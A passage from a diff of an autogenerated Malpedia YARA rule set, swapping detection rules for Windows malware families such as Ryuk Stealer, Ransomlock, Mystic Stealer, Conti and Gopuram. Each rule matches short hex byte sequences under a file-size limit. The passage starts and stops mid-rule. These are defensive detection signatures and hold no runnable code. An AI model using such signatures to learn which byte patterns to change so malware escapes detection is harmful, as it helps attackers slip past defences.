c7417180fcd6bb } + $sequence_6 = { c74145aed72316 c74149ff663a9d c7414dd22a7e91 c741510f9f2997 c7415565449eac } + $sequence_7 = { c741510f9f2997 c7415565449eac c741594d68b93a c7415d382cd7bd } + $sequence_8 = { c7410c16d9fdf8 c741103a71c135 c74114c2a02ab0 c74118d95dc845 } + $sequence_9 = { c7412861fdc72a c7412cdf9134d2 c74130324d251d c74134375ec19d c7413893c82e55 } condition: - 7 of them and filesize < 1015808 + 7 of them and filesize < 8252416 } -rule MALPEDIA_Win_Ngioweb_Auto : FILE +rule MALPEDIA_Win_Ryuk_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0c36bfdd-8dfc-5ce2-bea9-f354084a9adc" + id = "5ce42c56-7196-5dab-bbf5-f82410a1858c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ngioweb_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ryuk_stealer_auto.yar#L1-L110" license_url = "N/A" - logic_hash = "63470bb29a6555e27026baafc523ffac609f0c101ccb6a3d82cc98debb8823c5" + logic_hash = "577b17a6c0c9d94113328d94349dd787eb11b2a9bf82279881b6744cc074e6ff" score = 75 quality = 75 tags = "FILE" @@ -116169,32 +116119,32 @@ rule MALPEDIA_Win_Ngioweb_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 3bfb 763d 33c0 395d14 8d747efe 0f95c0 894508 } - $sequence_1 = { 7569 8b4510 2b45cc 6a16 6a05 50 ff750c } - $sequence_2 = { 03c0 50 56 e8???????? 57 56 8945e8 } - $sequence_3 = { 8b442404 85c0 7408 8b809c000000 eb02 33c0 c20400 } - $sequence_4 = { 50 6a10 8d4604 50 e8???????? eb46 80fa03 } - $sequence_5 = { 51 ffd0 8b5f14 68159fa331 56 e8???????? 53 } - $sequence_6 = { ff742408 e8???????? 6a00 56 e8???????? 33c0 5e } - $sequence_7 = { ff7508 e8???????? 85c0 7531 ff7508 e8???????? 6a00 } - $sequence_8 = { 66c745f86900 66c745f67600 66c745f46700 66c745f26200 66c745f06400 668975ee 66c745ec4700 } - $sequence_9 = { 395d0c 750d 8b85d8fdffff 85c0 8945fc 7519 } + $sequence_0 = { 8bcb e8???????? 3bc7 7552 } + $sequence_1 = { 05???????? 50 8d85b4fdffff 50 e8???????? } + $sequence_2 = { 8bcb 0f44f2 42 8d7902 } + $sequence_3 = { 83f801 7410 83ff01 755d } + $sequence_4 = { 8a443706 3c2f 7404 3c2d } + $sequence_5 = { b9a0860100 f7f9 81c2f8240100 52 ff15???????? } + $sequence_6 = { 668945ec 8945ee 668945f2 8d45e0 50 } + $sequence_7 = { 81c2f8240100 52 ff15???????? 46 } + $sequence_8 = { e8???????? 99 b9a0860100 f7f9 81c2f8240100 52 ff15???????? } + $sequence_9 = { 75f4 a1???????? 8907 eb38 } condition: - 7 of them and filesize < 204800 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Atmosphere_Auto : FILE +rule MALPEDIA_Win_Ransomlock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c4a1cda9-16c6-5553-aa27-a4261bb4c5d6" + id = "1d9f68b5-bde6-5cf8-8d3e-ce79b7904787" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmosphere" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmosphere_auto.yar#L1-L110" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransomlock_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "cdc6f699a9e6edd17b2609c792a1b077712e73bd58ad4e35ab98f645501a4fd4" + logic_hash = "ae6cb71ec68ff479f995cb168a9a85eebf5d8c257dade2208e4eb2660cdda6fe" score = 75 quality = 75 tags = "FILE" @@ -116208,32 +116158,32 @@ rule MALPEDIA_Win_Atmosphere_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a12 50 8b11 ff12 } - $sequence_1 = { c20400 56 57 8b7c240c 8bf1 57 ff15???????? } - $sequence_2 = { 56 f6d8 1bc0 57 83e002 } - $sequence_3 = { 894114 b001 c20400 8b4114 } - $sequence_4 = { 57 8bce ff502c 84c0 } - $sequence_5 = { 8b5104 668b0402 8b542404 668902 } - $sequence_6 = { ff15???????? 56 8bf8 ff15???????? 83c410 8bc7 } - $sequence_7 = { 83ec10 8bc4 89642410 50 } - $sequence_8 = { 57 8bf9 6a2e e8???????? } - $sequence_9 = { 6a0a 50 8b11 ff12 } + $sequence_0 = { 8b5120 56 50 ffd2 85c0 } + $sequence_1 = { 51 50 66894802 ff15???????? 53 8d9decfbffff } + $sequence_2 = { 8b5120 56 50 ffd2 85c0 7807 c745ec01000000 } + $sequence_3 = { 83c0ec 52 50 8b01 ffd0 } + $sequence_4 = { 8d45b8 50 ff15???????? 6804010000 68???????? ff15???????? e9???????? } + $sequence_5 = { 53 53 6a01 68???????? ff15???????? 8bf0 85f6 } + $sequence_6 = { 8be5 5d c3 83f801 7408 } + $sequence_7 = { 8b7510 8bce ba???????? e8???????? 85c0 7414 8b5514 } + $sequence_8 = { 8b5104 57 ffd2 5f 5e } + $sequence_9 = { 8d95a0f9ffff 68???????? 52 ffd3 83c414 8dbdb0fdffff 32c0 } condition: 7 of them and filesize < 360448 } -rule MALPEDIA_Win_Fancyfilter_Auto : FILE +rule MALPEDIA_Win_Sfile_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "975f685e-f179-537e-9fa3-85eadc815e28" + id = "e614c85b-182e-5624-9633-dd84a183f73d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fancyfilter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fancyfilter_auto.yar#L1-L111" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sfile_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "d344d0526413aed72b15674c72f5f795f13d63b4791189f46999d274791cb577" + logic_hash = "4284a47c1e2e07fe055fa45f368d41b804eaf7390d53426d31beb69dd3e007f9" score = 75 quality = 75 tags = "FILE" @@ -116247,32 +116197,32 @@ rule MALPEDIA_Win_Fancyfilter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 891d???????? 891d???????? b001 5b } - $sequence_1 = { ff15???????? 83c420 83f803 7409 } - $sequence_2 = { 66833800 7404 b001 eb02 } - $sequence_3 = { 740f 8d4f20 51 50 ff15???????? } - $sequence_4 = { 83f80a 7305 83c030 eb03 83c057 8801 } - $sequence_5 = { 51 50 ff15???????? 8b36 } - $sequence_6 = { a1???????? 83c012 50 ff15???????? } - $sequence_7 = { 8d4f20 51 50 ff15???????? 8b36 } - $sequence_8 = { b805400080 c20400 56 8b742408 8b4618 85c0 } - $sequence_9 = { 83c030 eb03 83c057 8801 49 } + $sequence_0 = { 52 8b4514 50 e8???????? 83c408 eb49 } + $sequence_1 = { 8b55f8 2b55e8 d1fa 8955e4 8b45e4 } + $sequence_2 = { 8b55fc c7422000000000 8d45fc 50 } + $sequence_3 = { 7433 6aff 8b4dfc 8b5118 52 } + $sequence_4 = { 8b4818 51 ff15???????? 8b55fc 8b421c } + $sequence_5 = { 8d8db8fdffff 51 e8???????? 83c41c 837dc800 7507 } + $sequence_6 = { 8b4244 8b4d08 8b5120 8b4008 } + $sequence_7 = { 8b5158 52 e8???????? 83c404 8b4510 } + $sequence_8 = { 8b751c 8b4d20 f3a4 837d0802 } + $sequence_9 = { 8bec 83ec2c 56 57 c745f400000000 } condition: - 7 of them and filesize < 169984 + 7 of them and filesize < 588800 } -rule MALPEDIA_Win_Owlproxy_Auto : FILE +rule MALPEDIA_Win_Mail_O_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "63e3635a-b438-5b14-b4eb-af7ffdbef122" + id = "5d523861-cfbe-53c5-a1e3-510491b0431d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.owlproxy_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mail_o_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "53d3a09278d24d3abda5835aa7f0dd4ef8496154e71ad2a30bd173f4868edb33" + logic_hash = "0523be98b7e34057335b62be8aafee77bb16a4b5cb13de84130c24ec4689c31e" score = 75 quality = 75 tags = "FILE" @@ -116286,34 +116236,34 @@ rule MALPEDIA_Win_Owlproxy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488b4908 410fb7f0 488bfa 4c8d442450 488d542458 c744245014000000 ff15???????? } - $sequence_1 = { 486bc000 488d0d42330200 8b542430 48891401 488d0d0b810100 e8???????? } - $sequence_2 = { 55 57 4156 488da808feffff 4881ece0020000 48c7442478feffffff 48895818 } - $sequence_3 = { e8???????? 4c8b742440 4c3b742448 7435 } - $sequence_4 = { 2bf3 448bc6 488bd3 488d8c2430010000 e8???????? 448b8424f8000000 } - $sequence_5 = { 498936 49895e08 49897e10 4883bd8800000010 7209 488b4d70 e8???????? } - $sequence_6 = { 415e 415d 415c 5f c3 488d0d2c290200 e8???????? } - $sequence_7 = { 480f4355b8 4533c0 488b4da8 ff15???????? 895db0 4c8d25f53c0200 } - $sequence_8 = { 4883ec20 488d0d53580100 ff15???????? 488d1566580100 488bc8 488bd8 ff15???????? } - $sequence_9 = { 4885db 0f8480000000 410fb60437 8803 eb77 483bdf 756a } + $sequence_0 = { eb09 b801000000 66894348 ba03000000 897320 488d8b70010000 e8???????? } + $sequence_1 = { c781e806000002000000 b801000000 4883c438 c3 c744242892070000 ba2f000000 41b96e000000 } + $sequence_2 = { eba9 488b5008 4c8d442440 488d0debe00e00 488b5208 e8???????? eb8e } + $sequence_3 = { b800010000 e8???????? 482be0 488b05???????? 4833c4 48898424d0000000 4c8ba42450010000 } + $sequence_4 = { e8???????? 8bf0 83f8ff 0f85befeffff 33c0 488b5c2470 488b6c2478 } + $sequence_5 = { 74bb 488d8b00080000 e8???????? 85c0 7457 488b9388000000 488bcb } + $sequence_6 = { eb04 488b45d8 8b0a 4d8bfe 8bc0 498bd5 4c8b6da8 } + $sequence_7 = { 85c0 0f8ec7000000 0f1f4000 488b8bf8000000 8bd5 e8???????? 488bf0 } + $sequence_8 = { c744242073000000 4c8d0d028e1100 8d4f06 448d420b e8???????? 33c0 488b5c2440 } + $sequence_9 = { eb1a 488bcb e8???????? 85c0 7560 4889b3500d0000 4889b350160000 } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 5985280 } -rule MALPEDIA_Win_Sathurbot_Auto : FILE +rule MALPEDIA_Win_Dizzyvoid_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40f6d317-e340-5c28-bf05-1e34ed3b7c05" + id = "db997ae6-872c-5121-a308-2ff2cf7909e7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sathurbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sathurbot_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dizzyvoid" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dizzyvoid_auto.yar#L1-L234" license_url = "N/A" - logic_hash = "73420e104486f36b90bb2733cf04075c1d18a3e103b83a2dc2d22ad64ff4f0ae" + logic_hash = "ee47377d576371e1f242f6668080ed5eb3d7f4fc6edffaf4a1f51714c1f6dc67" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -116325,34 +116275,48 @@ rule MALPEDIA_Win_Sathurbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b84b7e8b0c 0f45c3 } - $sequence_1 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 bfcc456d5f b8dd72d480 } - $sequence_2 = { e9???????? 81fe44b0cddc 7f16 81fe7313fbac 0f850dffffff be80c3aea4 e9???????? } - $sequence_3 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8d1e835c1 b93dd672c9 } - $sequence_4 = { ebd8 81fa06cfb547 7f27 81fab0570bce 7f30 81fabe1990c9 75c2 } - $sequence_5 = { ebfe 55 89e5 53 56 83ec02 a1???????? } - $sequence_6 = { eb3e 897c2408 8b450c 89442404 893424 e8???????? 8945f0 } - $sequence_7 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b8aebf6a24 0f45c3 } - $sequence_8 = { e9???????? c744240400000000 c7042401000000 89f1 e8???????? 83ec08 8b442454 } - $sequence_9 = { f6c101 0f94c0 813d????????0a000000 0f9cc1 08c1 b86e66c620 b9a93409fe } + $sequence_0 = { 488b8bd0000000 4885c9 7403 ff5350 } + $sequence_1 = { 41c1e11c c1e904 4403c9 498bc8 48c1e902 418bc1 48c1e802 } + $sequence_2 = { 48b865210b59c84216b2 4c2bc1 49f7e8 4903d0 } + $sequence_3 = { 48b865210b59c84216b2 48f7e9 4803d1 48c1fa07 } + $sequence_4 = { 48895c2430 44897c2428 48896c2420 448bce } + $sequence_5 = { 4889442428 c7442420f8080000 4c8d8da0050000 41b806000000 } + $sequence_6 = { 488b8bc8000000 ff5350 90 488b8bd0000000 ff5350 90 488b8bd8000000 } + $sequence_7 = { 0f118980000000 48898190000000 488d0557e5ffff 498b0b } + $sequence_8 = { 8bec 81ec34040000 53 56 57 8dbdccfbffff b90d010000 } + $sequence_9 = { 8b8d90fcffff 51 e8???????? 83c40c 8bf4 } + $sequence_10 = { 7320 8b859cfcffff 0fb68c05a8fcffff 83f104 8b959cfcffff } + $sequence_11 = { 8b4dfc 33cd e8???????? 81c434040000 3bec } + $sequence_12 = { 8bf4 ff9590fcffff 3bf4 e8???????? 33c0 52 8bcd } + $sequence_13 = { 8dbdccfbffff b90d010000 b8cccccccc f3ab a1???????? 33c5 8945fc } + $sequence_14 = { a1???????? a3???????? a1???????? c705????????2a134100 } + $sequence_15 = { c705????????2a134100 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 } + $sequence_16 = { e8???????? c70016000000 e8???????? ebb4 c745e4700a4100 a1???????? } + $sequence_17 = { 83e908 8d7608 660fd60f 8d7f08 8b048de81f4000 } + $sequence_18 = { 59 8365fc00 8b049d601c4100 f644380401 740b } + $sequence_19 = { c3 8b04c53cb04000 5d c3 55 8bec } + $sequence_20 = { 33f6 e8???????? 83c404 8bf8 6800100000 } + $sequence_21 = { 8d44242c 50 57 46 ffd3 85c0 75f3 } + $sequence_22 = { 888690f54000 46 ebe5 ff35???????? } + $sequence_23 = { 8b04b5601c4100 0500080000 3bc8 7324 66c74104000a } condition: - 7 of them and filesize < 2727936 + 7 of them and filesize < 479232 } -rule MALPEDIA_Win_Kleptoparasite_Stealer_Auto : FILE +rule MALPEDIA_Win_Gopuram_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b0b0b352-347f-55af-9ff0-490ede9b4160" + id = "b03e678a-6ea1-5889-b388-a101df87e17a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kleptoparasite_stealer_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gopuram" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gopuram_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e5b373205c1fe87c3fe6e4fda207e494d76c79369af53b1f38b96981f46a089f" - score = 60 - quality = 35 + logic_hash = "6d230510a2c3f67fb9a008e4b353ed01e99faca2f2088eff568ec22152cbe40b" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -116364,32 +116328,32 @@ rule MALPEDIA_Win_Kleptoparasite_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 e9???????? 55 8bec 56 e8???????? 8bf0 } - $sequence_1 = { cc 55 8bec 56 e8???????? 8b7508 6a02 } - $sequence_2 = { b8???????? c3 e9???????? 55 8bec 56 e8???????? } - $sequence_3 = { 895104 8be5 5d c3 3b0d???????? 7502 f3c3 } - $sequence_4 = { 7405 8901 895104 8be5 5d c3 3b0d???????? } - $sequence_5 = { cc 55 8bec 56 e8???????? 8b7508 } - $sequence_6 = { 59 c3 6a10 68???????? e8???????? 33ff 897de0 } - $sequence_7 = { 895104 8be5 5d c3 3b0d???????? } - $sequence_8 = { 895104 8be5 5d c3 3b0d???????? 7502 } - $sequence_9 = { e8???????? cc 55 8bec 56 e8???????? 8b7508 } + $sequence_0 = { 488d15a3cb0200 488d0d645c0500 e8???????? 488d15c4c60200 488bc8 488b5c2430 4883c420 } + $sequence_1 = { e8???????? 85c0 743e 488d157b930500 488bcf e8???????? 85c0 } + $sequence_2 = { ff10 4c8bc7 ba10000000 488bcb e8???????? 488bc3 e9???????? } + $sequence_3 = { 7e1c 4183ff09 0f8eae000000 4183ff0a 750c 488d05833c0500 4889442450 } + $sequence_4 = { e8???????? 488d5606 488d4da8 41b802000000 66448965bc e8???????? 488d560c } + $sequence_5 = { 8be8 85ed 0f842f010000 488b5c2470 488d8b18010000 ff15???????? 498b06 } + $sequence_6 = { 8bd8 e8???????? 4c8d05df1e0800 41b9de010000 8bd7 498bce c744242000000000 } + $sequence_7 = { 85f6 0f8486050000 488b85600a0000 4889442440 c744242801000000 48895c2420 4533c9 } + $sequence_8 = { c705????????03400080 c705????????f4060780 890d???????? c705????????09000380 418bc4 413b7ffc 750d } + $sequence_9 = { 488bcd e8???????? 8bf8 85c0 782a 498bd6 488bcd } condition: - 7 of them and filesize < 3006464 + 7 of them and filesize < 1591296 } -rule MALPEDIA_Win_Tetra_Loader_Auto : FILE +rule MALPEDIA_Win_Mystic_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "85991250-1047-5fcf-96eb-85da5fe13b43" + id = "ff6d02a5-11a9-5b9c-bc25-58f6a66b5d47" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tetra_loader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tetra_loader_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mystic_stealer_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "aeb4a8ec8acfdc787245eb94a88275106cbf235fc1e5fc83f04d972b90088a86" + logic_hash = "ec33f5bc78df8bf32bd1dfa20b10a2a5389598f3b75f6130cffa6e3d8120ea9d" score = 75 quality = 75 tags = "FILE" @@ -116403,32 +116367,32 @@ rule MALPEDIA_Win_Tetra_Loader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 440fb74204 4181f074350000 4109c8 0f8480050000 3302 0fb74a04 81f174360000 } - $sequence_1 = { 66f7e6 0f8010010000 89c2 6601ea 410f92c6 31c0 81fdffff0000 } - $sequence_2 = { e8???????? 0f0b 4c8d059f8a0100 b901000000 4c89d2 e8???????? 0f0b } - $sequence_3 = { 4531db 81f9ffff0000 7715 6666666666662e0f1f840000000000 41bc03000000 4c89f2 } - $sequence_4 = { 7521 c6851717000000 488d8db8160000 488d154ce70200 e8???????? 488bb5c0160000 66c746023b00 } - $sequence_5 = { 48ffc7 4c89f0 4d89fb bd00000000 4885c0 0f856bffffff ebb4 } - $sequence_6 = { 488901 b001 f6c201 7513 488b4110 488b4820 488b4028 } - $sequence_7 = { 483b7df0 75bc eb8d 4489e1 83e11f 450fb64701 4183e03f } - $sequence_8 = { 4883c1fe 3d00010000 89d0 73a1 0fb64500 8845d0 0f2845e0 } - $sequence_9 = { 488b4de8 48c744243000000000 c744242880000000 c744242003000000 ba00000080 41b801000000 4531c9 } + $sequence_0 = { 7509 3bef 7505 33db 43 eb02 33db } + $sequence_1 = { 741f 8b0e 50 8b510c e8???????? 8b06 59 } + $sequence_2 = { 3b5c242c 7f59 66ff84463c0b0000 33c9 } + $sequence_3 = { e8???????? 83bd5014000002 59 59 } + $sequence_4 = { 8bc2 41 3bca 8b542418 0f4ec1 8b4c2414 89442430 } + $sequence_5 = { 8bcf c7460471000000 e8???????? 33c9 394e14 } + $sequence_6 = { 5b e9???????? a1???????? 8bcf c746049a020000 894718 e8???????? } + $sequence_7 = { 3bca 7420 0fb7449d02 8bca } + $sequence_8 = { 80ea03 c6040101 8b8ea0160000 8b8698160000 41 898ea0160000 c6040100 } + $sequence_9 = { 57 ffb42444010000 ffb4244c010000 50 } condition: - 7 of them and filesize < 847872 + 7 of them and filesize < 465920 } -rule MALPEDIA_Win_Rustock_Auto : FILE +rule MALPEDIA_Win_Bangat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "81c11374-a224-57b2-ae9d-b05ee172db6b" + id = "05c414bb-9422-5f0e-974d-c56fdab166b4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rustock_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bangat_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "f23c8787fe5677c0679006ea20fcb161a3a7545dab517b9c25455040e02f455c" + logic_hash = "5cb16644073e6088f8c102fdd3bad27fec482e34ef437064c8f923550a4b4259" score = 75 quality = 75 tags = "FILE" @@ -116442,32 +116406,32 @@ rule MALPEDIA_Win_Rustock_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8945c0 85c0 7504 33f6 eb21 ff751c } - $sequence_1 = { f7d1 8b15???????? 8d6424fc 893424 5a 31c6 } - $sequence_2 = { 7403 46 ebd4 0fb60e 46 83f92d 8bd1 } - $sequence_3 = { 29f8 83cbff f7d3 b8670e0100 8d0dc8680100 01d0 } - $sequence_4 = { 53 ffd6 68ad020000 53 a3???????? ffd6 689d020000 } - $sequence_5 = { df7809 60 9f 79c1 7cc2 } - $sequence_6 = { 68d44f0100 59 0315???????? 21fb 031d???????? 31f1 83f2ff } - $sequence_7 = { 57 68e1030000 ff550c 68d1030000 } - $sequence_8 = { 8bc7 e9???????? 897dcc 33db 897dc8 397d08 7508 } - $sequence_9 = { 8d04bd04000000 50 e8???????? 8bd8 } + $sequence_0 = { 50 8d45fc 50 e8???????? 8b4508 8325????????00 83c418 } + $sequence_1 = { 3bc7 7d02 8bc7 50 ff75d8 68???????? 56 } + $sequence_2 = { 8a8888f44000 ff248d30f44000 8b5e6c 5f 8bc3 5e 5b } + $sequence_3 = { 33c9 8a4c2432 8a9950ec4700 33c9 8aa850ec4700 8bfb } + $sequence_4 = { 6859020000 68???????? 68fc000000 6a77 6a14 e8???????? } + $sequence_5 = { 8b348d50e84700 33c6 8d7720 8bbff0000000 33c5 d1ff 4f } + $sequence_6 = { 83c40c 6a0a 53 53 8d45f4 53 } + $sequence_7 = { ff15???????? 85c0 742d 8d85d4feffff 50 8d85d4f5ffff 68???????? } + $sequence_8 = { 895c2424 897c2428 e8???????? 83c414 e8???????? 53 } + $sequence_9 = { 85c0 749b 6803002e00 6a00 6812030000 68ffff0000 } condition: - 7 of them and filesize < 565248 + 7 of them and filesize < 1228800 } -rule MALPEDIA_Win_Octowave_Auto : FILE +rule MALPEDIA_Win_Virdetdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "35c13348-0eb4-5d13-a207-5c2013e4210f" + id = "bddd89ab-b028-56e4-8a65-8d3729c122ca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.octowave" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.octowave_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virdetdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virdetdoor_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "1fa979b8176587b51d4501d3bbb1e6a1953eac27bc34cded0325574b49761409" + logic_hash = "57c5b5ddcc0bcf4c5308e3cdd78b8a805ec821f22a4427e25f940eedfad4c1ef" score = 75 quality = 75 tags = "FILE" @@ -116481,34 +116445,34 @@ rule MALPEDIA_Win_Octowave_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { fecb 889c24c0000000 8b9c244c010000 85db 7529 8d9c242c010000 8d7b01 } - $sequence_1 = { ff86201b0000 8b86201b0000 c684302013000000 83ef01 75d3 8b5c2414 85d2 } - $sequence_2 = { ff742450 56 e8???????? 83c408 85c0 0f850a040000 83cb10 } - $sequence_3 = { 8d4f02 51 56 e8???????? 83c408 5f 8bc6 } - $sequence_4 = { ff742418 2bf5 ff742424 8b04b568022110 ffd0 8b7c241c 83c40c } - $sequence_5 = { ff7500 50 e8???????? 83c408 837db800 750a f30f1015???????? } - $sequence_6 = { f30f5cc8 f30f1041e8 f30f594714 f30f5cc8 f30f1041e4 f30f594718 f30f5cc8 } - $sequence_7 = { f76b14 03f8 8b4560 13ca f76b18 03f8 8b455c } - $sequence_8 = { ff5004 48 8bcf 50 ff560c 8b17 8bcf } - $sequence_9 = { ff74241c 8b4608 8b4e04 48 f20f1044242c 23c2 6a00 } + $sequence_0 = { 83c40c 83feff 7502 33f6 } + $sequence_1 = { 0fb74714 50 ff15???????? 0fb7c0 50 } + $sequence_2 = { 59 3945fc 7e4e 397dfc 7e49 8b35???????? 68???????? } + $sequence_3 = { 53 56 57 8bf9 c745f810270000 33db 33c9 } + $sequence_4 = { 6a0c 50 52 51 ff15???????? } + $sequence_5 = { 8b7d10 57 7434 8b35???????? ffd6 50 8d45cc } + $sequence_6 = { c6010b e9???????? c6010c e9???????? c6010d e9???????? } + $sequence_7 = { 83c40c 83c01c 50 6a08 ff15???????? } + $sequence_8 = { 3bc1 75ec 3903 74d2 ebe6 85ff 75cc } + $sequence_9 = { ff35???????? ff15???????? 8bc8 85c9 7450 6a5c } condition: - 7 of them and filesize < 7258112 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Dustpan_Auto : FILE +rule MALPEDIA_Win_Conti_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c9c878b8-cad8-5a19-8f4e-78ad38029b7f" + id = "495a4961-c51d-5437-b6e5-42c5ef6dadea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dustpan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dustpan_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.conti" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.conti_auto.yar#L1-L249" license_url = "N/A" - logic_hash = "5224f428476ca9b9e044abefc44ce9a53e06974708bc3448eb44f67994867ab4" + logic_hash = "8e7e21e9b7d082151509bf910013dc897955e4fc02be809b33bd86909bb72949" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -116520,32 +116484,48 @@ rule MALPEDIA_Win_Dustpan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4533c0 4c891d???????? e8???????? 488d0d32010000 4883c420 5b e9???????? } - $sequence_1 = { b9ff000000 e8???????? 488bfb 4803ff 4c8d2d45eb0000 } - $sequence_2 = { 